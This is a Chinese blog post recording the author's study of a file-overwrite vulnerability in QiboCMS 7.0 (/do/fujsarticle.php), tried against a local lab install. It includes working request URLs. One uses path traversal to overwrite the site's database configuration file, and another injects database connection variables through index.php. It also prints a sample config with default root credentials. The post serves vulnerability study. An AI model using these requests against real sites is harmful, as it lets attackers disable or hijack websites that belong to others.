PHP代码审计理解(二)----齐博CMS7.0文件覆盖

0x00 前言

因为我是跟着视频操作的,这回真的没理解为什么定位到了这个存在漏洞的文件。。。 /do/fujsarticle.php 

因为没有前文,所以这里无法分析这个$FileName为什么可以$_GET传值,此处我只看结果。

后来看的时候发现可以逆推过来,应该是本来有哪个功能用到fujsarticle.php文件,这里就不纠结了。

0x01 操作

在包含全局配置文件前后输出一下这个变量$FileName。

可以看到文件包含后的变量被改写了,test.php写入成功。可以看到do文件夹下会生成一个文件,内容与你选的type有关。

 

意思就是可以任意生成文件,但不能自定义其内容,并且是覆盖性质的,[w]写入新文件。这里就可以去覆盖掉重要的配置文件,使其失去初始化配置。比如说,我们的数据库初始文件。

C:\phpStudy\PHPTutorial\WWW\qibo_v7\data\mysql_config.php
<?php
/**
* 以下变量需根据您的服务器说明档修改
*/
$dbhost = 'localhost';        // 数据库服务器(一般不必改)
$dbuser = 'root';            // 数据库用户名
$dbpw = 'root';                    // 数据库密码
$dbname = 'qibo7';                // 数据库名
$pre='qb_';                // 网站表区分符 
$database = 'mysql';        // 数据库类型(一般不必改)
$pconnect = 0;                // 数据库是否持久连接(一般不必改)
$dbcharset = 'gbk';        // 数据库编码,如果出现网页乱码,你可以尝试改为gbk或latin1或utf8或big5,即可解决
?>

可以看到,这样操作后,数据库连接受到破坏,已经不能正常访问网站。

http://192.168.79.147/qibo_v7/do/fujsarticle.php?type=pic&FileName=../data\mysql_config.php

 我们可以打开该配置文件看看

接下来是写入变量,重新写入数据库连接的变量。

http://192.168.79.147/qibo_v7/index.php?dbhost=localhost&dbuser=root&dbpw=root&dbname=qibo7&pre=qb_&database=mysql&pconnect=0&dbcharset=gbk

这里是设置连接数据库的ip和口令,及数据库名,类型等。

理论上来讲我们是可以用自己建的数据库去替代,但是这在漏洞利用中有些鸡肋,因为,即便如此,你也无法获得他本来的数据。

然鹅!这真的不是很可用的漏洞,你在访问其他的页面时还得每次都赋值,因为这些变量不会写到配置文件中去。

以上,此次学习又让我长见识了啊~

posted @ 2019-12-16 15:46  Voyager0  阅读(385)  评论(0编辑  收藏  举报